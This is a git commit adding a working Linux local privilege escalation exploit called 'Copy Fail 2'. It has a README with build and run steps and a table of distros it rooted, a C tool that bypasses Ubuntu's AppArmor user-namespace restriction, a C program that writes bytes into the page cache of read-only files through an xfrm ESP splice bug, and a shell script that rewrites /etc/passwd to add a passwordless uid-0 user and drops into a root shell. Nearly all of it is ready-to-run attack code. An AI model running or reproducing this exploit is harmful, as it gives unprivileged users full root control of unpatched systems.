Copy Fail 2: Electric Boogaloo

This commit is contained in:
0xdeadbeefnetwork 2026-05-07 14:09:03 -04:00
commit b7336f670b
4 changed files with 512 additions and 0 deletions

53
README.md Normal file
View file

@ -0,0 +1,53 @@
# Copy Fail 2: Electric Boogaloo
Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast
path. Page-cache write into any readable file. Overwrites a nologin
line in `/etc/passwd` with `sick::0:0:...:/:/bin/bash` and `su`s into
it. Same class as Copy Fail (CVE-2026-31431), different subsystem.
Bug: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
## Build
sudo apt install -y libssl-dev gcc
gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
gcc -O2 -Wall aa-rootns.c -o aa-rootns
## Run
./run.sh # install + drop into root shell
./run.sh --clean # revert /etc/passwd via the same primitive
Adds passwordless uid-0 user `sick` to `/etc/passwd`, then `exec su - sick`.
PAM `nullok` accepts the empty password silently — no input needed. The
`sick` line stays in `/etc/passwd` — re-run drops straight back into root.
State for `--clean` is stashed at `/var/tmp/.cf2.state`.
No sudo. esp4 / xfrm_user / xfrm_algo autoload via the userns netlink
path.
## Tested
| distro | kernel | result |
|--------------------|----------------------|------------------|
| Ubuntu 22.04 LTS | 5.15.0-176-generic | not vulnerable* |
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
*MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the
bug's reach.
## Credits
Hyunwoo Kim (imv4bel) and Kuan-Ting Chen (h3xrabbit): reported, tested,
authored the upstream fix.
Steffen Klassert: IPsec maintainer, posted the fix to netdev/net.git.
Brad Spengler (@spendergrsec / grsecurity): called it copyfail-class
before anyone else read the commit.
Theori / Xint: original Copy Fail (CVE-2026-31431).

97
aa-rootns.c Normal file
View file

@ -0,0 +1,97 @@
/*
* aa-rootns defeat Ubuntu apparmor_restrict_unprivileged_userns
*
* stage 0: change_onexec(crun); execv self enter unconfined profile
* stage 1: change_onexec(chrome); execv self double-hop, optional
* stage 2: unshare(CLONE_NEWUSER); write uid_map / gid_map; capset I=P;
* raise all caps into Ambient; execvp target.
*
* Build: gcc -O2 -Wall -o aa-rootns aa-rootns.c
* Use: ./aa-rootns -p # proof of caps
* ./aa-rootns -- id # run command in the userns
* ./aa-rootns -n -- cmd # also unshare(NEWNET) before exec
*
* No funny business. Standard libc, no eBPF, no JIT, no kernel module.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <linux/capability.h>
static int change_onexec(const char *p) {
int fd = open("/proc/self/attr/exec", O_WRONLY);
if (fd < 0) return -1;
char b[256]; int n = snprintf(b, sizeof b, "exec %s", p);
ssize_t r = write(fd, b, n); int e = errno;
close(fd); errno = e; return r == n ? 0 : -1;
}
static void wfile(const char *p, const char *c) {
int fd = open(p, O_WRONLY); if (fd < 0) return;
(void)!write(fd, c, strlen(c)); close(fd);
}
#define TAG "AA-ROOTNS-STAGE-"
static int stage1(int ac, char **av) {
if (change_onexec("chrome") < 0) return perror("chrome"), 1;
av[1] = (char *)TAG "2"; execv("/proc/self/exe", av);
return perror("execv s2"), 1;
}
static int stage2(int ac, char **av) {
int newnet = 0;
int proof = 0;
int sep = -1;
for (int i = 2; i < ac; i++) {
if (!strcmp(av[i], "--")) { sep = i; break; }
if (!strcmp(av[i], "-n")) newnet = 1;
else if (!strcmp(av[i], "-p")) proof = 1;
}
uid_t u = getuid(); gid_t g = getgid();
int flags = CLONE_NEWUSER;
if (newnet) flags |= CLONE_NEWNET;
if (unshare(flags) < 0) return perror("unshare"), 1;
wfile("/proc/self/setgroups", "deny");
char m[64];
snprintf(m, sizeof m, "0 %u 1", u); wfile("/proc/self/uid_map", m);
snprintf(m, sizeof m, "0 %u 1", g); wfile("/proc/self/gid_map", m);
(void)!setresuid(0, 0, 0); (void)!setresgid(0, 0, 0);
struct __user_cap_header_struct h = { _LINUX_CAPABILITY_VERSION_3, 0 };
struct __user_cap_data_struct d[2] = {0};
syscall(SYS_capget, &h, d);
d[0].inheritable = d[0].permitted;
d[1].inheritable = d[1].permitted;
syscall(SYS_capset, &h, d);
for (int c = 0; c < 64; c++)
prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, c, 0, 0);
if (proof) {
printf("uid=%d euid=%d caps eff=0x%llx perm=0x%llx\n",
getuid(), geteuid(),
((unsigned long long)d[1].effective << 32) | d[0].effective,
((unsigned long long)d[1].permitted << 32) | d[0].permitted);
return 0;
}
char *def[] = { (char *)"/bin/bash", NULL };
char **t = (sep > 0 && sep + 1 < ac) ? &av[sep + 1] : def;
execvp(t[0], t); return perror("execvp"), 1;
}
int main(int ac, char **av) {
if (ac >= 2 && !strcmp(av[1], TAG "1")) return stage1(ac, av);
if (ac >= 2 && !strcmp(av[1], TAG "2")) return stage2(ac, av);
if (change_onexec("crun") < 0) { perror("crun"); return 1; }
char **a = calloc(ac + 2, sizeof *a);
a[0] = av[0]; a[1] = (char *)TAG "1";
for (int i = 1; i < ac; i++) a[i + 1] = av[i];
execv("/proc/self/exe", a);
return perror("execv s1"), 1;
}

187
copyfail2.c Normal file
View file

@ -0,0 +1,187 @@
// copyfail2.c - kernel page-cache write via xfrm ESP MSG_SPLICE_PAGES bug
// run inside: aa-rootns -n -- ./copyfail2 [target-file]
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#include <openssl/evp.h>
#define SPI 0xdeadbeef
#define ENC_PORT 4500
#define IVLEN 8
#define ICVLEN 16
#define AES_KEYLEN 16
#define SALT_LEN 4
#define KEYTOTAL (AES_KEYLEN + SALT_LEN) // 20 bytes for rfc4106
#ifndef SPLICE_F_MORE
#define SPLICE_F_MORE 0x4
#endif
static const unsigned char AEAD_KEY[KEYTOTAL] = {
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
0x10,0x11,0x12,0x13 // last 4 = salt
};
static void die(const char *m) { perror(m); exit(1); }
// AES-CTR keystream byte at offset 'off' (in bytes from start of ciphertext)
// rfc4106 counter starts at 1; OpenSSL EVP_aes_128_gcm with 12B nonce handles that.
static int aes_gcm_keystream_byte(const unsigned char *key16,
const unsigned char *nonce12,
size_t off, unsigned char *out)
{
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!ctx) return -1;
int len;
if (!EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL)) goto bad;
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL)) goto bad;
if (!EVP_EncryptInit_ex(ctx, NULL, NULL, key16, nonce12)) goto bad;
unsigned char zeros[256] = {0};
size_t need = off + 1;
unsigned char buf[256];
while (need) {
size_t chunk = need < sizeof(zeros) ? need : sizeof(zeros);
if (!EVP_EncryptUpdate(ctx, buf, &len, zeros, chunk)) goto bad;
if (chunk == need) {
*out = buf[chunk - 1];
EVP_CIPHER_CTX_free(ctx);
return 0;
}
need -= chunk;
}
bad:
EVP_CIPHER_CTX_free(ctx);
return -1;
}
int main(int argc, char *argv[])
{
if (argc < 4) {
fprintf(stderr, "usage: %s <target-file> <byte-offset> <want-plain-byte>\n", argv[0]);
return 2;
}
const char *target = argv[1];
size_t tboff = strtoul(argv[2], 0, 0); // byte offset in file
unsigned char want_plain = (unsigned char)strtoul(argv[3], 0, 0);
// 1. read original byte
int tfd = open(target, O_RDONLY);
if (tfd < 0) die("open target");
unsigned char tbyte;
if (pread(tfd, &tbyte, 1, tboff) != 1) die("pread target byte");
unsigned char want_ks = tbyte ^ want_plain;
printf("[+] target=%s off=%zu ciphertext=0x%02x want_plain=0x%02x need_ks=0x%02x\n",
target, tboff, tbyte, want_plain, want_ks);
if (tbyte == want_plain) { printf("[!] target byte already equals desired value\n"); return 0; }
// 2. brute-force IV: keystream byte 0 (since ciphertext is 1 byte at counter-1 offset 0)
unsigned char IV[IVLEN] = {0};
unsigned char nonce[12];
memcpy(nonce, AEAD_KEY + AES_KEYLEN, SALT_LEN);
unsigned char ks_byte = 0;
uint64_t ivv;
for (ivv = 1; ivv < (1ULL<<32); ivv++) {
memcpy(IV, &ivv, IVLEN);
memcpy(nonce + SALT_LEN, IV, IVLEN);
if (aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte)) {
fprintf(stderr, "openssl error\n"); return 1;
}
if (ks_byte == want_ks) break;
}
if (ks_byte != want_ks) { fprintf(stderr, "no IV found\n"); return 1; }
printf("[+] IV found (after %lu trials): ", (unsigned long)ivv);
for (int i=0;i<IVLEN;i++) printf("%02x", IV[i]);
printf(" keystream[0]=0x%02x → plain=0x%02x\n", ks_byte, tbyte ^ ks_byte);
// 3. install xfrm state via shell (we are inside aa-rootns -n)
char keyhex[KEYTOTAL*2 + 3] = "0x";
for (int i=0;i<KEYTOTAL;i++) sprintf(keyhex + 2 + i*2, "%02x", AEAD_KEY[i]);
char cmd[1024];
snprintf(cmd, sizeof cmd,
"ip link set lo up ; "
"ip xfrm state flush ; "
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp spi 0x%08x "
"encap espinudp %d %d 0.0.0.0 aead 'rfc4106(gcm(aes))' %s 128 "
"replay-window 32",
SPI, ENC_PORT, ENC_PORT, keyhex);
if (system(cmd) != 0) { fprintf(stderr, "xfrm install failed\n"); return 1; }
// 4. open recv UDP socket bound to :4500 with UDP_ENCAP=ESPINUDP
int rs = socket(AF_INET, SOCK_DGRAM, 0);
if (rs < 0) die("recv sock");
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0)
die("UDP_ENCAP setsockopt");
struct sockaddr_in la = {.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(ENC_PORT)};
if (bind(rs, (struct sockaddr*)&la, sizeof la) < 0) die("bind recv");
// 5. craft attacker pages (ESP header + ICV) in a backing file
char atkpath[64];
snprintf(atkpath, sizeof atkpath, "/tmp/cf2.atk.%d", (int)getpid());
unlink(atkpath);
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
if (afd < 0) die("open atk");
unsigned char esp_hdr[16];
*(uint32_t*)(esp_hdr + 0) = htonl(SPI);
*(uint32_t*)(esp_hdr + 4) = htonl(1); // SeqNum
memcpy(esp_hdr + 8, IV, IVLEN);
if (pwrite(afd, esp_hdr, 16, 0) != 16) die("pwrite esp_hdr");
unsigned char icv[16] = {0};
if (pwrite(afd, icv, 16, 4096) != 16) die("pwrite icv");
fsync(afd);
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
int afd2 = open(atkpath, O_RDONLY);
if (afd2 < 0) die("reopen atk");
unlink(atkpath);
// 6. splice three ranges into pipe
int pfd[2];
if (pipe(pfd) < 0) die("pipe");
fcntl(pfd[0], F_SETPIPE_SZ, 1<<20);
fcntl(pfd[1], F_SETPIPE_SZ, 1<<20);
loff_t off = 0;
if (splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice esp_hdr");
loff_t toff = tboff;
if (splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE) != 1) die("splice target byte");
loff_t ioff = 4096;
if (splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice icv");
// 7. splice pipe → UDP socket (kernel sets MSG_SPLICE_PAGES)
int ss = socket(AF_INET, SOCK_DGRAM, 0);
if (ss < 0) die("send sock");
struct sockaddr_in da = la;
if (connect(ss, (struct sockaddr*)&da, sizeof da) < 0) die("connect");
ssize_t sent = splice(pfd[0], NULL, ss, NULL, 16+1+16, 0);
printf("[+] splice→UDP sent=%zd errno=%d\n", sent, errno);
usleep(200*1000);
unsigned char vbyte;
if (pread(tfd, &vbyte, 1, tboff) != 1) die("verify pread");
printf("[+] post byte at offset %zu = 0x%02x (was 0x%02x, wanted 0x%02x) match=%s\n",
tboff, vbyte, tbyte, want_plain, vbyte == want_plain ? "YES" : "NO");
return vbyte == want_plain ? 0 : 1;
}

175
run.sh Normal file
View file

@ -0,0 +1,175 @@
#!/bin/bash
# copyfail2 — adds a passwordless uid-0 user "sick" to /etc/passwd and
# drops you into its shell. No SUID helper, no auto-restore.
#
# Overwrites a system /etc/passwd line (mail/games/etc, longest line
# with a nologin/false shell) with `sick::0:0:<pad>:/:/bin/bash` —
# length-matched, valid 7-field entry, empty password field. PAM
# pam_unix.so nullok accepts empty input password.
#
# Usage:
# ./run.sh install + drop into root shell
# ./run.sh --clean undo the install (revert /etc/passwd via the same primitive)
set -u
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
STATE=/var/tmp/.cf2.state
NEW_USER=sick
PREFIX="${NEW_USER}::0:0:"
SUFFIX=":/:/bin/bash"
red() { printf '\033[31m%s\033[0m\n' "$*" >&2; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m=== %s\033[0m\n' "$*"; }
# Userns harness — try plain unshare first, fall back to aa-rootns.
# Probe must actually grant CAP_NET_ADMIN (Ubuntu apparmor_restrict_unprivileged_userns
# strips caps but `unshare` itself still returns 0).
setup_usns() {
if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then
USNS=(unshare -U -r -n --)
return
fi
if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then
USNS=("$AAR" -n --); return
fi
if command -v aa-rootns >/dev/null 2>&1; then
USNS=("$(command -v aa-rootns)" -n --); return
fi
if [ ! -x "$HERE/aa-rootns" ] && [ -f "$HERE/aa-rootns.c" ]; then
gcc -O2 -Wall "$HERE/aa-rootns.c" -o "$HERE/aa-rootns" \
|| { red "build aa-rootns failed"; exit 1; }
fi
if [ -x "$HERE/aa-rootns" ]; then
USNS=("$HERE/aa-rootns" -n --); return
fi
red "no usable userns harness — install aa-rootns or set apparmor_restrict_unprivileged_userns=0"
exit 1
}
build_helper() {
[ -x "$HERE/copyfail2" ] || gcc -O2 -Wall "$HERE/copyfail2.c" -o "$HERE/copyfail2" -lcrypto \
|| { red "build copyfail2 failed (need libssl-dev)"; exit 1; }
}
flip_range() {
# $1 = LINE_OFF, $2 = source string (current bytes), $3 = target string
local line_off=$1 src=$2 dst=$3 len=${#2}
local i o t off
declare -ag FLIPS=()
for ((i=0; i<len; i++)); do
o="${src:$i:1}"
t="${dst:$i:1}"
if [ "$o" != "$t" ]; then
FLIPS+=("$((line_off + i)):$(printf '0x%02x' "'$t")")
fi
done
for f in "${FLIPS[@]}"; do
off=${f%:*} ; t=${f#*:}
"${USNS[@]}" "$HERE/copyfail2" /etc/passwd "$off" "$t" >/dev/null
done
}
# ---------- --clean ----------
if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then
[ -r "$STATE" ] || { red "no state file at $STATE — nothing to clean (or run as the same user that installed)"; exit 1; }
# shellcheck disable=SC1090
. "$STATE"
: "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}"
VICTIM_LEN=${#VICTIM_LINE}
setup_usns
build_helper
CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
if [ "$CURRENT" = "$VICTIM_LINE" ]; then
green "[+] /etc/passwd already matches original — clearing state file"
rm -f "$STATE"
exit 0
fi
# Compute flips
declare -a CFLIPS=()
for ((i=0; i<VICTIM_LEN; i++)); do
o="${CURRENT:$i:1}"
t="${VICTIM_LINE:$i:1}"
[ "$o" != "$t" ] && CFLIPS+=("$((LINE_OFF + i)):$(printf '0x%02x' "'$t")")
done
blue "Cleanup — revert ${#CFLIPS[@]} bytes at offset $LINE_OFF back to '${VICTIM_LINE%%:*}' line"
for f in "${CFLIPS[@]}"; do
off=${f%:*} ; t=${f#*:}
"${USNS[@]}" "$HERE/copyfail2" /etc/passwd "$off" "$t" >/dev/null
done
if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then
red "sick line still present — clean failed"
exit 1
fi
NEW=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
if [ "$NEW" != "$VICTIM_LINE" ]; then
red "post-clean line mismatch — manual fix required"
echo "expected: $VICTIM_LINE"
echo "got: $NEW"
exit 1
fi
rm -f "$STATE"
green "[+] cleaned — '${VICTIM_LINE%%:*}' line restored, state file removed"
exit 0
fi
# ---------- default: install ----------
if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then
sed -n '2,12p' "$0"
exit 0
fi
# Already installed? Just su.
if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then
green "[+] '$NEW_USER' already in /etc/passwd"
exec su - "$NEW_USER"
fi
setup_usns
build_helper
getent passwd "$NEW_USER" >/dev/null \
&& { red "'$NEW_USER' already exists in passwd with non-uid-0 entry — pick a different NEW_USER"; exit 1; }
# Pick the longest /etc/passwd line whose shell is nologin/false/sync.
VICTIM_LINE=$(awk -F: '
$NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" ||
$NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" {
if (length($0) > maxlen) { maxlen = length($0); maxline = $0 }
}
END { print maxline }
' /etc/passwd)
[ -n "$VICTIM_LINE" ] || { red "no victim line found in /etc/passwd"; exit 1; }
VICTIM_NAME=${VICTIM_LINE%%:*}
VICTIM_LEN=${#VICTIM_LINE}
PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX}))
[ "$PAD_LEN" -ge 0 ] \
|| { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; }
PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X')
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"
LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2)
# Persist state for --clean before we mutate
umask 077
{
echo "LINE_OFF=$LINE_OFF"
printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE"
} > "$STATE"
blue "Stage 1 — overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes) with '$NEW_USER::0:0:<pad>:/:/bin/bash'"
flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE"
blue "Stage 2 — verify"
grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; }
blue "Stage 3 — su - $NEW_USER (empty password via PAM nullok)"
green "[i] state saved to $STATE — run './run.sh --clean' to revert"
exec su - "$NEW_USER"